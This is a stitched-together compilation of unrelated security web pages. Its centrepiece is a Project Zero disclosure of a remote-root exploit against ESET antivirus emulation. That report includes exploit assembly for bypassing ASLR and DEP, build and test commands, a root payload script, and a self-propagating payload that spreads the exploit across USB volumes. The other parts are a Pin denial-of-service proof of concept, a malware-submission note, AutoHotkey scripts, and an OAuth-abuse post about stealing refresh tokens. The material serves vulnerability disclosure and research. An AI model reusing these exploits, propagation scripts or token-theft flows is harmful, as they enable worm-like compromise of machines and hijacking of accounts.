■**Remember the three Cs: Communication, Communication, Communication\!**
Philosophers \(other than those who have succumbed to the Heideggerian virus\)
start with a substantial competitive advantage over the PowerPoint crowd. But
that’s no reason to slack off. Remember Plato: it’s all about dialogue\!

With this simple three-point program \(or was it four?\) philosophers will
soon reclaim their rightful place as the educators of management. Of course, I
will be charging for implementation.

  

# Project Zero: Analysis and Exploitation of an ESET Vulnerability

**Created:**| _6/24/2015 11:06:09 AM_  
---|---  
**Updated:**| _6/24/2015 11:06:09 AM_  
**Author:**| __  
**Tags:**| _antivirus snakeoil_  
  

#  Do we understand the risk vs. benefit trade-offs of security software?

Tavis Ormandy, June 2015

##  Introduction

**

**

Many antivirus products include emulation capabilities that are intended to
allow unpackers to run for a few cycles before signatures are applied. ESET
NOD32 uses a minifilter or kext to intercept all disk I/O, which is analyzed
and then emulated if executable code is detected.

**

**

Attackers can cause I/O via Web Browsers, Email, IM, file sharing, network
storage, USB, or hundreds of other vectors. Whenever a message, file, image or
other data is received, it’s likely some untrusted data passes through the
disk. Because it’s so easy for attackers to trigger emulation of untrusted
code, it’s critically important that the emulator is robust and isolated.

**

**

Unfortunately, analysis of ESET emulation reveals that is not the case and it
can be trivially compromised. This report discusses the development of a
remote root exploit for an ESET vulnerability and demonstrates how attackers
could compromise ESET users. This is not a theoretical risk, recent evidence
suggests a growing interest in anti-virus products from advanced attackers.

**

**

##  FAQ

**

**

  * Which platforms are affected?

ESET signatures are executable code, they’re unpacked at runtime from the DAT
and NUP files and then loaded as modules. As the DAT files are shared across
all platforms and versions, all platforms are affected.

**

**

  * Which versions and products are affected?

All currently supported versions and editions of ESET share the vulnerable
code.

**

**

This includes, but is not limited to, these products:

\- ESET Smart Security for Windows

\- ESET NOD32 Antivirus for Windows

\- ESET Cyber Security Pro for OS X

\- ESET NOD32 For Linux Desktop

\- ESET Endpoint Security for Windows and OS X

\- ESET NOD32 Business Edition

**

**

  * Is the default configuration affected?

Yes.

**

**

  * Am I still vulnerable if I disable “Real Time” scanning?

If you also disable the scheduled scan, you would only be affected if you
manually scan a file from a context menu or GUI.

**

**

Note that if you disable “Real Time” scanning, ESET will constantly warn that
you’re not getting “maximum protection”.

**

**

  * Is an exploit available for analysis?

Yes, a working remote root exploit is included with this report.

**

**

  * Is there an update available?

Yes, ESET released an update to their scan engine on 22-Jun-2015.

**

**

##  Impact

**

**

Any network connected computer running ESET can be completely compromised. A
complete compromise would allow reading, modifying or deleting any files on
the system regardless of access rights; installing any program or rootkit;
accessing hardware such as camera, microphones or scanners; logging all system
activity such as keystrokes or network traffic; and so on.

**

**

There would be zero indication of compromise, as disk I/O is a normal part of
the operation of a system. Because there is zero user-interaction required,
this vulnerability is a perfect candidate for a worm. Corporate deployments of
ESET products are conducive to rapid self-propagation, quickly rendering an
entire fleet compromised. All business data, PII, trade secrets, backups and
financial documents can be stolen or destroyed.

**

**

These scenarios are possible because of how privileged the scan process is.
For Windows networks, it is possible to compromise and take over the ekrn.exe
process, granting NT AUTHORITY\SYSTEM to remote attackers. On Mac and Linux,
it is possible to compromise and take over the esets\_daemon process, granting
root access to attackers.

**

**

Figure 1 is a video of one exploitation scenario: a regular user clicking on a
link while using a default installation of ESET NOD32 Business Edition. Once
the user clicks the link, the attacker can execute arbitrary commands as root.
Malicious links are not the only attack vector, this is intended as a
demonstration of one of the hundreds of possible vectors.

**

**

All versions, platforms and products appear to be affected in their default
configuration. For more examples of possible payloads and exploitation
scenarios, see "Sample Payloads" below.

<img src='img/Temp2_6438.png' width='609px;' height='349px;' alt='Screenshot
from 2015-06-18 15:59:50.png' />  
---  
Figure 1. Watch a demonstration of an attack via a web browser in a default
ESET configuration. http://youtu.be/Sk-CuFMXods  
**

**

##  Technical Analysis

**

**

The specific vulnerability exploited in Figure 1 exists in an ESET NOD32 signature that attempts to shadow emulated stack operations. The signature requires at least three sections, and the IMAGE\_SCN\_MEM\_EXECUTE | IMAGE\_SCN\_MEM\_READ | IMAGE\_SCN\_MEM\_WRITE | IMAGE\_SCN\_CNT\_CODE characteristics in the IMAGE\_SECTION\_HEADER. The first instruction at the entry point must be a CALL to a PUSHA followed by a PUSHF.
**

**

If these conditions are met, the signature single-steps the code for 80000
cycles in an x86 emulator. After each instruction, the previous opcode is
checked for stack operations, and if found, shadows PUSH, POP and ESP
arithmetic on it’s own 40 byte stack buffer. The purpose of the shadow stack
appears to be detecting malware that writes known values in the space
allocated by PUSHA;PUSHF, explaining why such a small buffer is used. This was
probably intended to detect some form of entry point obfuscation.

**

**

The code below shadows arithmetic operations on ESP.

**

**

load:F33E0BD3 CheckEspArith:

load:F33E0BD3 cmp esi, 6 \(a\)

load:F33E0BD6 jnz short loc\_F33E0C06

load:F33E0BD8 cmp \[ebp+Instruction.Operand+4\], 1

load:F33E0BDF jnz short loc\_F33E0C06

load:F33E0BE1 cmp \[ebp+Instruction.Operand\], 124h

load:F33E0BEB jnz short loc\_F33E0C06

load:F33E0BED cmp \[ebp+Instruction.Operand1+4\], 9

load:F33E0BF1 jnz short loc\_F33E0C06

load:F33E0BF3 mov eax, \[ebp+Instruction.Operand1+24h\] \(b\)

load:F33E0BF6 shr eax, 2

load:F33E0BF9 sub ebx, eax \(c\)

load:F33E0BFB movzx eax, \[ebp+Instruction.InstructionSize\]

load:F33E0BFF add edi, eax \(d\)

load:F33E0C01 jmp InstructionComplete

**

**

The comparison at \(a\) is checking for an arithmetic class instruction,
followed by an operand check. The code at \(b\) extracts the immediate
operand, and then subtracts it from the shadow stack pointer at \(c\). The
virtual program counter is incremented past the instruction at \(d\).

**

**

load:F33E0B61 CheckPush:

load:F33E0B61 cmp esi, 10Eh \(a\)

load:F33E0B67 jnz short CheckPop

load:F33E0B69 push \[ebp+Instruction.BranchRelated\]

load:F33E0B6F lea eax, \[ebp+Instruction.Operand\]

load:F33E0B75 push eax

load:F33E0B76 call GetOperand \(b\)

load:F33E0B7B mov \[ebp+ebx\*4+EmulatedStack\], eax \(c\)

load:F33E0B7F inc ebx

load:F33E0B80 movzx eax, \[ebp+Instruction.InstructionSize\]

load:F33E0B84 add edi, eax ; Increment Program Counter

load:F33E0B86 cmp ebx, 0Ah  \(d\)

load:F33E0B89 jb InstructionComplete

load:F33E0B8F

load:F33E0B8F StackOutOfBounds: ; CODE XREF: sub\_F33E0A70+D7j

load:F33E0B8F ; sub\_F33E0A70+DFj ...

load:F33E0B8F mov ecx, \[ebp+EmulatorObject\]

load:F33E0B92 call ShutdownEmulator

**

**

Here you can see the code check for a PUSH operation at \(a\). The operand
value is retrieved from the emulator state at \(b\) and stored to the shadow
stack \(c\). The stack pointer is checked at \(d\) against 10 DWORDS, to
ensure it’s not moved out of bounds.

**

**

The implementation of POP follows a similar pattern:

**

**

load:F33E0B9E CheckPop:

load:F33E0B9E cmp esi, 0F3h \(a\)

load:F33E0BA4 jnz short loc\_F33E0BD3

load:F33E0BA6 cmp \[ebp+Instruction.Operand+4\], 1 \(b\)

load:F33E0BAD jnz short loc\_F33E0B8F

load:F33E0BAF test ebx, ebx \(c\)

load:F33E0BB1 jz short loc\_F33E0B8F

load:F33E0BB3 mov ecx, \[ebp+Instruction.Operand\]

load:F33E0BB9 dec ebx

load:F33E0BBA and ecx, 7

load:F33E0BBD mov eax, \[ebp+ebx\*4+EmulatedStack\] \(c\)

load:F33E0BC1 mov ds:EmulatedRegisters\[ecx\*4\], eax

load:F33E0BC8 movzx eax, \[ebp+Instruction.InstructionSize\]

load:F33E0BCC add edi, eax

load:F33E0BCE jmp InstructionComplete

**

**

This code handles a POP operation, the instruction class is tested at \(a\),
and it’s verified this is a store to a register \(b\) and that the stack
pointer is not zero at \(c\) , as a POP operation at zero would move the stack
out of bounds.

**

**

The bug is that the validation to ensure that the shadow stack pointer is not
moved out of bounds is bypassed by arithmetic operations on ESP. The code is
approximated in pseudocode in Figure 3.

**

**

DWORD ShadowStack\[10\] = \{0\};DWORD ShadowStackPointer = 0;for \(Cycles = 0;
Cycles < 80000; Cycles++\) \{ Emulator->Step\(&ProgramCounter, &Instruction\);
if \(Instruction.Class == PUSH\) \{ ShadowStack\[ShadowStackPointer++\] =
Emulator->GetOperandValue\(\); if \(ShadowStackPointer >= 10\)
Emulator->Shutdown\(\); \} if \(Instruction.Class == POP\) \{ if
\(\!ShadowStackPointer || Instruction.Operand\[1\].Type \!= REGISTER\)
Emulator->Shutdown\(\); Registers\[Instruction.Operand\[1\].Register\] =
ShadowStack\[ShadowStackPointer--\]; \} if \(Instruction.Class == ADD &&
Instruction.Operand\[0\].Register == REG\_ESP\) \{ // BUG\! ShadowStackPointer
-= Instruction.Operand\[1\].Value / 4; \} if \(Emulator->Fault\) \{
Emulator->Shutdown\(\); \}\} Emulator->Shutdown\(\);  
---  
Figure 3. Pseudocode for the emulation routine.  
**

**

Using these three shadow operations, an attacker can build a write-what-where
primitive and gain control of the emulator. The remainder of this document
discusses how to build an exploit for this vulnerability, and some of the
constraints and limitations that must be overcome to build a reliable cross-
platform exploit.

**

**

###  Building Exploit Primitives

**

**

By moving the stack out of bounds with arithmetic instructions, then
interacting with it using PUSH and POP, we’re able to read and write to the
real stack from within the emulator using standard i586 machine code.

**

**

There is an upper limit on the number of instructions we can execute, and we
can only write to the stack once. This is because after a PUSH operation the
shadow stack pointer is bounds checked. We have \(effectively\) unlimited
reads, because POP only verifies the shadow stack pointer is not zero.

**

**

Because we’re abusing the virtual stack pointer, locals must be stored in
registers or written to .data. 80k cycles may seem generous, but these are
quickly exhausted when searching for gadgets reliably across multiple versions
of the ESET products.

**

**

###  Defeating Exploit Mitigations

**

**

The first step is to learn where the shadow stack is located, because stack
operations will be relative to its base address. There are no predictable
locations we can read or write to, but we can push the pointer into the real
stack frame and retrieve the real saved stack pointer onto a virtual register.

**

**

Once we know some addresses, ASLR is defeated and we are not restricted to
adjacent memory. To take advantage of this, we need to be able to move to set
the shadow stack pointer to an arbitrary index. This can be achieved using a
5-stage process to shift out the high order bits. The actual index calculation
is approximately:

**

**

ShadowStackPointer = ShadowStackPointer - \(\(unsigned\) Index >> 2\);

**

**

This makes it impossible to increment the shadow stack pointer in a single
operation because of overflow, instead we can wrap it in 4 operations to the
next multiple of 4, then decrement it to the desired value. Here is an
example, let’s simulate how to make the shadow stack pointer 123:

**

**

\(gdb\) p 123 / 4 + 1

$1 = 31

\(gdb\) p/x 0 - \(-\(31U \* 4\) >> 2\)

$2 = 0xc000001f

\(gdb\) p/x 0xc000001f - \(-\(31U \* 4\) >> 2\)

$3 = 0x8000003e

\(gdb\) p/x 0x8000003e - \(-\(31U \* 4\) >> 2\)

$4 = 0x4000005d

\(gdb\) p 0x4000005d - \(-\(31U \* 4\) >> 2\)

$5 = 124

\(gdb\) p 124 - \(\(\(4U - \(123 % 4\)\) \* 4\) >> 2\)

$6 = 123

\(gdb\)

Using this primitive in combination with PUSH/POP allows us to interact with
the stack at any arbitrary index. Figure 4 shows how this can be done from
within the emulator using x86 machine code.

**

**

accessframe: ; ; Retrieve information from our stack frame. ; ; EDI Real
return address ; ESI Real base pointer ; ; ; The stack frame looks like this:
; ; -00000030 ShadowStack dd 10 dup\(?\) ; -00000008 ModifyCount dd ? ;
-00000004 CycleCount dd ? ; +00000000 s db 4 dup\(?\) ; +00000004 r db 4
dup\(?\) ; +00000008 EmulatorObject dd ? ; ; So s is 30h + 8 + 4 bytes from
the base of ShadowStack. Because the ; ShadowStackPointer is an index into an
array of DWORDS, we need to set it ; to \(30h + 8 + 4\) / 4 = 15. ; ; Then we
can load s \(saved register\), and r \(return address\) ; onto virtual
registers. To calculate the value of real EBP, we take the ; previous frame's
sp and subtract our frame size. ; We need to move the shadow stack pointer
back in five stages. add esp, byte -\(4 << 2\) ; SSP=0xC0000004 add esp, byte
-\(4 << 2\) ; SSP=0x80000008 add esp, byte -\(4 << 2\) ; SSP=0x4000000C add
esp, byte -\(4 << 2\) ; SSP=0x00000010 add esp, byte \(1 << 2\) ;
SSP=0x0000000F pop esi ; Load the real previous frame's sp. pop edi ; Load the
return address. sub esi, byte 0x5C ; Adjust ESI to point to our real stack
frame.  
---  
Figure 4. Accessing the real stack frame from within the emulator.  
**

**

We can now point the shadow stack pointer at any arbitrary address by
calculating the offset from the stack base. If we point the shadow stack
pointer into the .text section, we can scan our address space for gadgets to
defeat DEP.

**

**

On MacOS, we only need to transfer control to our shellcode, which we can do
with a gadget. This is because ESET opt-out of DEP by not setting the
MH\_NO\_HEAP\_EXECUTION flag in their Mach header. On Windows and Linux, a
complete ROP chain is required.

**

**

$ otool -hv /Applications/ESET\ Cyber\ Security\
Pro.app/Contents/MacOS/esets\_daemon

/Applications/ESET Cyber Security Pro.app/Contents/MacOS/esets\_daemon:

Mach header

magic cputype cpusubtype caps filetype ncmds sizeofcmds flags

MH\_MAGIC I386 ALL 0x00 EXECUTE 27 3184 NOUNDEFS DYLDLINK TWOLEVEL
WEAK\_DEFINES BINDS\_TO\_WEAK PIE

**

**

If more cycles are required to build a complex chain, a first-stage that
resets the cycle count can be used to effectively gain unlimited time to
complete the exploit.

**

**

findgadget: ; ; Search for simple gadget at \[ESP\] using stack operations. ; ; EDI Current search location for gadget. ; EAX Last DWORD read from \[EDI\]. ; BL Byte from \[EDI-1\]. ; ECX Byte index into current DWORD ; EBP Constant Mask ; EDX Constant 4 ; ; This loop uses a modified port of Algorithm 6-2 \(Find leftmost 0-byte\) ; from "Hackers Delight" by Henry Warren, ISBN 0-201-91465-4. The ; .nextdword loop is where we burn all our cycles, so optimizing for the ; common case doubles our search space. ; ReqOpcode equ 0xFF ; register indirect branch ReqOperands equ 0x13112321 xor ecx, ecx ; initialize loop counter mov ebp, 0x7F7F7F7F ; initialize mask mov edx, 4 ; constant pop ebx ; initialize BL bswap ebx ; rearrange so high byte is in bl dec edi ; adjust for start of search .nextdword: pop eax ; fetch another dword to examine bswap eax ; reorder bytes not eax ; invert bits because this code searches for 0x00 mov ecx, eax ; ecx is a copy of dword to scan we can modify and ecx, ebp ; y & 0x7f7f7f7f add ecx, ebp ; + 0x7f7f7f7f or ecx, eax ; y | x or ecx, ebp ; y | mask not eax ; restore bits, we need them in either case xor ecx, byte ~0 ; ~y; xor instead of not because ZF jnz .matchfound ; was there a 0xFF? .nomatch: sub edi, edx ; adjust current search pointer mov bl, al ; save byte for operand match jmp short .nextdword; next dword  
---  
Figure 5. Searching for a call \[reg\] gadget to defeat ASLR/DEP and tolerate
minor version variations. When we return from the emulator, \[ecx\] will point
to the beginning of the executable being scanned. This means the machine will
re-execute the code from the malware being scanned, but this time on the real
CPU\!  
**

**

Figure 5 demonstrates searching the address space using POP. The sequence is
optimized to minimize cycles in the common case, as this is an expensive
operation. When a good candidate is found, it is simply necessary to overwrite
the return address and terminate the emulator.

**

**

###  Testing Exploitability

**

**

To assist with analysis, a sample exploit that executes an embedded script is
provided with this report, and is available for download here.

**

**

https://code.google.com/p/google-security-research/issues/detail?id=456

**

**

To build and test the included exploit, first disable “Real Time” filesystem
scanning to prevent accidental compromise. To build the exploit, the Xcode
Command Line Tools package from Apple is required. If you don’t have the
package installed, you should be automatically prompted to install it when you
type make.

**

**

$ ls -l

total 28K

-rw------- 1 taviso eng 17K Jun 18 12:45 esetemu.asm
-rw------- 1 taviso eng 605 Jun 18 10:31 Makefile
-rw------- 1 taviso eng 514 Jun 18 15:58 payload.sh
The file payload.sh is embedded into the exploit and run on successful
compromise.

**

**

$ cat payload.sh

\#\!/bin/sh

\#

\# This is the payload code run as root in the context of esets\_daemon after

\# successful exploitation.

\#

osascript -e 'tell application "Finder" to set desktop picture to POSIX file
"/usr/share/httpd/icons/bomb.png"'

/Applications/Calculator.app/Contents/MacOS/Calculator &

echo w00t

uname -a; date; id

Execute make to build the exploit, the file esetemu.bin contains the result.
File extension is not important for this vulnerability, even .txt would work.

**

**

$ make

gzip -9c < payload.sh | base64 | tr -d '\n' >> payload.inc
nasm -O0 -f bin -D\_\_MACOS\_\_ -o esetemu.bin esetemu.asm

To test the exploit, use the esets\_scan utility from the ESET installation.
This is run as your own user, but it’s easy to tell if something went wrong,
such as a crash or a syntax error in your script.

**

**

$ /Applications/ESET\ Cyber\ Security\ Pro.app/Contents/MacOS/esets\_scan
esetemu.bin

ESET Command-line scanner, \(C\) 1992-2011 ESET, spol. s r.o.

Module loader, version 1056 \(20150113\), build 1082

Module perseus, version 1456 \(20150512\), build 1687

Module scanner, version 11810 \(20150619\), build 24399

Module archiver, version 1228 \(20150528\), build 1230

Module advheur, version 1154 \(20150129\), build 1120

Module cleaner, version 1109 \(20150519\), build 1140

Command line: esetemu.bin

Scan started at: Thu Jun 18 21:57:48 2015

w00t

Darwin Macs-Mac.local 13.0.0 Darwin Kernel Version 13.0.0: Thu Sep 19 22:22:27
PDT 2013; root:xnu-2422.1.72~6/RELEASE\_X86\_64 x86\_64

Thu Jun 18 21:57:48 PDT 2015

uid=501\(macuser\) gid=20\(staff\)
groups=20\(staff\),401\(com.apple.sharepoint.group.1\),12\(everyone\),61\(localaccounts\),79\(\_appserverusr\),80\(admin\),81\(\_appserveradm\),98\(\_lpadmin\),33\(\_appstore\),100\(\_lpoperator\),204\(\_developer\),398\(com.apple.access\_screensharing\),399\(com.apple.access\_ssh\)

The easiest way to test the exploit against a live system is to enable “Real
Time” scanning and cat the file.

**

**

$ cat esetemu.bin > /dev/null

**

**

If the exploit succeeded, the payload.sh script will have been executed as
root. Note that you will not see stdout or stderr in this mode, so redirect
the output to a file if you want it. If this works, you can test it as an
email attachment, browser download, webapp upload, etc.

**

**

The ESET daemon handles termination gracefully, and a user should not notice
that exploitation occurred.

###  Sample Payloads

####  USB & Removable Disk Exploitation

**

**

By naming the exploit .hidden and placing it in the root directory of a
mounted volume \(for example, /Volumes/My Drive/.hidden\), the exploit will be
automatically executed when the device is inserted. By default, ESET
CyberSecurity Pro 6 prompts when you insert a new USB/CD-ROM/DVD device, but
it doesn’t matter what option you select \(or if you select no option at
all\), the exploit is successful.

**

**

You could even self-propagate to other mounted volumes, like so:

**

**

$ cat payload.sh

\#\!/bin/sh

\#

\# This is the payload code run as root in the context of esets\_daemon after

\# successful exploitation.

\#

\# This silly example demonstrates simple propagation.

\#

\# Discard output

exec &> /dev/null

\# Do something malicious.

/Applications/Calculator.app/Contents/MacOS/Calculator &

\# Is there an exploit on a Volume?

name="$\(find /Volumes -type f -depth 2 -name .hidden -size 79911c | head -n 1\)"
\# Yes, propagate to all other disks.

test -f "$\{name\}" && find /Volumes -type d \

-depth 1 \
-exec cp -f -- "$\{name\}" \{\} \; \
-exec sleep 1 \;
**

**

This technique would allow you to traverse air-gapped networks where ESET is
deployed with no user-interaction. This would work on Windows networks as
well, simply use desktop.ini or autorun.inf instead.

####  E-Mail Exploitation

**

**

Sending the exploit as a MIME attachment to a user of Mail.app, Outlook, etc.
permits automatic exploitation with no user interaction at all. The act of
fetching new email is sufficient for exploitation, there is no need for them
to read it or open attachments.

**

**

Using mime:cid references it is also possible for this to work with Webmail
users.

**

**

####  Web Exploitation

**

**

The exploit can be uploaded as an image file to trusted websites, or self-
hosted on an attacker's website. Alternatively, HTML5 Application Caches,
Downloads, or simply serving the exploit as text/html are sufficient.

##  Conclusion

**

**

Finding, analyzing and exploiting this vulnerability took just a few days of
work. ESET have informed us they’re working on improving their deployment of
mitigations to make this harder in future.

##  Acknowledgements

This vulnerability was discovered by Tavis Ormandy of Google Project Zero.

# Pin Denial of Service | Development & Security
**Created:**| _1/8/2013 12:51:01 PM_  
---|---  
**Updated:**| _1/8/2013 12:51:01 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation_  
  

# **P** intool Denial of Service****

As described in earlier  blogposts , Pintool  is a  
Dynamic Binary Instrumentation  framework**.** In this blogpost we analyze a  
simple Denial of Service approach which is tested for Pintool, but should also  
work with other Dynamic Binary Instrumentation frameworks**.**

## Internal Workings of Pin****

When instrumenting a binary using Pin, Pin will translate every executed  
basic block  into their own version**.** That is, the translated block of  
instructions will do the same as before, but the new basic  
block will also execute additional code**.** For example, if the original
basic  
block calls another function, Pin will check if it should translate the new  
basic block, or if it has already been translated \(and if so, it will execute  
the existing translation, rather than translating the basic block again and  
executing it from there**.**\)

## Abusing Pin Internals****

As just-in-time compilation  is a fairly expensive operation \(rather  
than executing a set of instructions, such as a basic block, Pin has to  
disassemble the instructions, check if any adjustments should be made,  
translate them into the new block, and execute the translated block\), we can  
get Pin to perform expensive operations in order to trigger a Denial of  
Service**.**

That being said, the expensive part of executing a new basic block under Pin,  
is the translation**.** In other words, if we want to exhaust Pin, we will
want to  
have Pin translate many basic blocks**.** We do this by making sure that Pin  
executes as many _new_ basic blocks as possible**.**

## Denial of Service Idea****

In order to have Pin translate as many basic blocks as possible, without  
continously altering memory of basic blocks in the process, we execute a  
sequence of nop instructions in a backwards fashion**.** So imagine we have a  
nopsled of length ten \(that is, ten consecutive nop instructions\), now if we  
execute the last nop instruction, and then jump back to the second last nop  
instruction, Pin will have to translate the _new_ basic block**.** At this
point  
of time, there will be _two_ basic blocks, the one starting at the last nop  
instruction, and the one starting at the second last nop instruction**.**  
Continuing like this we can have Pin translate N _“unique”_ basic blocks from  
a nopsled containing N nop instructions**.**

## Proof of Concept****

In the Proof of Concept  we show two similar ways to mess around with  
Pin**.** The first by creating a nopsled, as described above, with N =
_0×10000_  
\(in other words, there will be 65536 nop instructions, resulting in the  
execution of 2147516416 nop instructions in total**.**\) This takes Pin give
or  
take a 100mb of ram and a few minutes to finish**.**

The second way is by using N = _0×1000000_ \(or, 16777216 nop instruction\),  
and not by stepping one nop instruction back every iteration \(because that  
would result into a _lot_ of nop instructions\), but _0×10000_**.** So if the
first  
iteration would execute the last nop instruction, then the second iteration  
would execute the last 0×10001 nop instructions \(0×10000 + 1, the last**.**\)
In  
theory this almost equals in the amount of nop instructions that will be  
executed compared to the first way, namely 2155872256**.** In practice,
however,  
Pin will have to translate _0×10000 \* i_ nop instructions for every
iteration**.**

I didn’t even wait for the second method to finish when running under Pin, but  
after ten minutes or so, it’s using over one gigabyte of memory, and it will  
probably run out of memory or so..

Note that this behavior is by design, and that it is probably rather hard if  
not impossible \(in my opinion\), to solve**.** Besides that, this behavior is
seen  
when using a plain  pintool**.** It might be possible, however, to _fix_  
this in a specific pintool, but I’ll leave this as an exercise to the
reader**.**

When running _poc.exe_ under normal circumstances, i.e., not under Pin, we get  
something like the following output:

| `$ poc.exe``nop-instructions: 65536``executing nops: 2147516416``that took
0**.** 296000 milliseconds``nop-instructions: 16777216``executing nops:
2155872256``that took 0**.** 406000 milliseconds`  
---|---  
Running the poc.exe under Pin, we get something like the following:

| `$ ..``/pintool/ia32/bin/pin``.exe -t pindos-x32.dll -- poc.exe``nop-
instructions: 65536``executing nops: 2147516416``that took 40**.** 186000
milliseconds``nop-instructions: 16777216``executing nops: 2155872256``..**.**`  
---|---  
It is obviously taking a _little_ extra time under Pin.. <img
src='img/Temp2_6241.gif' alt=';-)' /> Other than that  
this is not really that interesting.. So, enjoy your day doing something  
useful instead**.**

Btw, the source of a bare Pintool and the source of the Proof of Concept can  
be found in the following repository: pindos **.**

****

# Joedoc

**Created:**| _4/29/2010 12:26:26 PM_  
---|---  
**Updated:**| _4/29/2010 12:26:33 PM_  
**Author:**| __  
**Tags:**| _security tools Malware-analysis_  
  
**Joedoc is a novel automated runtime system for detecting exploits in
applications running on end-user systems**.

  

In its beta state it currently detects PDF exploits for Acrobat Reader 7.0.5,
8.1.2, 9.0 and 9.2.

  

**To check if your pdf contains any malicious content follow the instructions
below:**

  

  1. Add your pdfs \(with **.pdf** extension\) to a zip and protect the zip with the password "**infected** ".
  2. Send your zip file to **submit@joedoc.org** as an email attachement.
  3. **Wait** for the result which is sent back after a **short while**.

Be patient we are currently adding features to detect exploits for Internet
Explorer 8.0 and 9.0 as well as Microsoft Office documents.

# Copying and pasting on IPMI KVM Console from SuperMicro

**Created:**| _11/30/2016 9:46:35 AM_  
---|---  
**Updated:**| _11/30/2016 9:46:35 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Copying and pasting on IPMI KVM Console from SuperMicro

July 30, 2016

<img src='img/jnlp_run3.png' width='625' height='385' alt='IPMI KVM Console'
/>

IPMI KVM Console

If you use KVM or IPMI Console from SuperMicro, one of the annoying things is
the inability to copy and paste using the Windows functions. Have no fear, a
workaround is here. Additionally a nifty little trick to keep your selected
Window on top using Autohotkey’s super power scripting engine.

First download software called AutoHotKey or.. heck you can skip all that just
download the attached .exe file: Supermicro IPMI Copy & Paste and Window on
Top

Note: When you run the .exe program, no Autokey installation is needed. The
.exe app will load up the program in taskbar, all you have to do is either use
Ctrl+Shift+V to copy and paste between KVM/Console and your clipboard.
Similarly to keep a window on top, select window and hold Ctrl+Space. It’ll
stay on top, to undo it, repeat it to remove it from being on top.

Ok let’s get started for those who use AutoHotkey and want the ability to
modify hotkeys and learn from the code:  
So you’ve downloaded AutoHotkey and you use IPMI from SuperMicro to access
your server through the Java console? Well it might be annoying to know that
when you want to run that linux command, it doesn’t copy or paste – ugh in
this day and time?\!

To access the server console, here is a cool script to copy and paste linux
commands and other things between your Windows clipboard and IPMI console.

You can add this into an existing AutoHotkey script or create a new AutoHotKey
script with the following:

12345 | ; Autohotkey from Softlayer ctrl-shift-v^+v::SetKeyDelay, 100SendRaw %clipboard%Return  
---|---  
The ^ key is equivaalent to Ctrl, and + is Shift key, and v is simply the
letter “v” key. This script above will allow you to copy and paste text
between your OS and the IPMI Console \(which is written in Java\).

Here is another AutoHotkey script that will allow you to put the existing
Window on top of all the others.

12 | ; Always on TOP window ctrl-space^SPACE:: Winset, Alwaysontop, , A  
---|---  
Again, “^” is the Ctrl key, and you do Ctrl+SPACE \(key\), and the window that
is selected will remain on top and will not minimize or be deselected or put
into the background. This is helpful if you have multiple screens, and are
trying to watch a movie or keep something relevant on top while you do some
other work.

### Like this:

 Like

Be the first to like this.

This post was last updated on October 3, 2016

This entry was posted in New Technologies, Scripts, Web and tagged always on
top, autohotkey, autohotkey script, console, console redirection, copy, copy
and paste, copying, exe, iKVM, ipmi, IPMI KVM, IPMI KVM Console, kvm, paste,
pasting, softlayer, supermicro, SuperMicro iKVM, window on top.

  

# Practical OAuth Abuse for Offensive Operations – Part 1 | TrustedSec
**Created:**| _5/14/2020 8:25:14 AM_  
---|---  
**Updated:**| _5/14/2020 8:25:14 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Practical OAuth Abuse for Offensive Operations – Part 1

By Scot Berner in Application Security Assessment, Penetration Testing, Purple
Team Adversarial Detection & Countermeasures, Red Team Adversarial Attack
Simulation, Security Testing & Analysis

# Background

OAuth is an open authorization standard that facilitates unrelated servers and
services working together, allowing access to their assets without sharing the
initial, related, single logon credential. I have been thinking of it as a
kind of Kerberos for external services, without a shared domain or forest.

A familiar instance would be authentication to any new service, when that
service attempts to leverage the assets of another service. If you have ever
seen prompts like the image below, you have been using OAuth:

<img src='img/Berner1.png' width='426' height='576' />

OAuth transactions are generally called flows and are distinct based on their
grant type. Many different flows exist and offer different benefits from an
offensive security perspective. Let’s explore OAuth specific jargon and then
dive into various flows and their pros and cons. For the sake of this blog
post, we will be discussing OAuth in the context of Microsoft 365 and Azure
AD. However, many opportunities exist for abuse in other service platforms’
implementations as well.

**General OAuth Terminology**| ****  
---|---  
**Client\_ID******| The Client\_ID is a unique identifier for the client
involved in the authentication flow.  
**Code**|  Code refers to a response resulting from authorization – it can be
used to query an endpoint for tokens for a set period of time before it
expires.  
**Grant Type******| Grant type is a term representing the resource owner’s
authorization used by the client to obtain an access token in order to access
its protected resources. The OAuth specification defines four grant types:
authorization code, implicit, resource owner password credentials, and client
credentials, as well as an extensibility mechanism for defining additional
types. Microsoft has several more types available than the specification,see a
full listing here.  
**Scope**|  Scope is defined as the specific rights expressed for the
transaction. An example would include something like Mail.Read, which is
somewhat self-explanatory, but full descriptions can be found via online
documentation for various platforms. Microsoft lists theirs here.  
**Access Token******| Access tokens give clients the ability to make API calls
on the behalf of the user. The access token represents the authorization of a
specific application to access parts of a user’s data as defined by the scope
asserted during the grant process.  
**Bearer Token**|  The bearer token is simply a type of access token. It is
generally defined as bearer because any party in possession of the token can
leverage it for access to the application.  
**Refresh Token******| The refresh token is a special token that can be
leveraged to retrieve a new access or bearer token once they have expired.  
**Client Secret**|  The client secret is a piece of information only known to
the application and the authorization server. It must by random and not
guessable.  
**Redirect URL******| Redirect URLs are critical to OAuth authentication
processes. Once a user has successfully authorized an application, the
authorization server will redirect the user back to this URL with either an
authorization code or an access token dependent on the type of grant or flow
being used.  
With the establishment of base level terms, we can now explore different
authentication flows and their offensive benefits. For a fully detailed
explanation of each flow related to Microsoft please see the reference here.

# Microsoft Authentication Flows

The needs of a developer often overlap with offensive operations. As a lazy
\(efficient?\) attacker, I do not want to spend time categorizing domains to
bypass web filters, and I don’t want my operations impeded if an Incident
Response team realizes that an account is compromised and resets the password.
So, how can various authentication flows related to OAuth help meet these
requirements? Let’s explore a few different grant flows. First, let’s look at
the OAuth 2.0 device authorization grant flow:

<img src='img/Berner2-768x320.png' width='835' height='348' />

This flow was designed to allow devices that might not have browsers to
authenticate via OAuth. You may have used a similar flow when you authenticate
your TV to various subscription services. The user elects to begin this
process, then requests a device\_code with a simple post request. This first
request and response looks like this \(just using curl for demonstration
purposes\):

<img src='img/Berner3.png' width='835' height='216' />

Note: Prior to this step, you will need to register an application with Azure,
as that is what will provide two key attributes for this flow. One attribute
will be your Client\_ID and the other will be the redirect URL, which is where
your precious tokens will be sent. Setting these up is out of the scope of
this blog post, but the process is straight forward and can be found here.

Be aware of the items that have been included in the scope – these are the
items you are trying to gain authorization to access. Additionally, for some
flows this will determine if you receive a refresh\_token. The refresh\_token
is the premiere credential material that you want, as it can be used to
request access\_tokens in perpetuity.

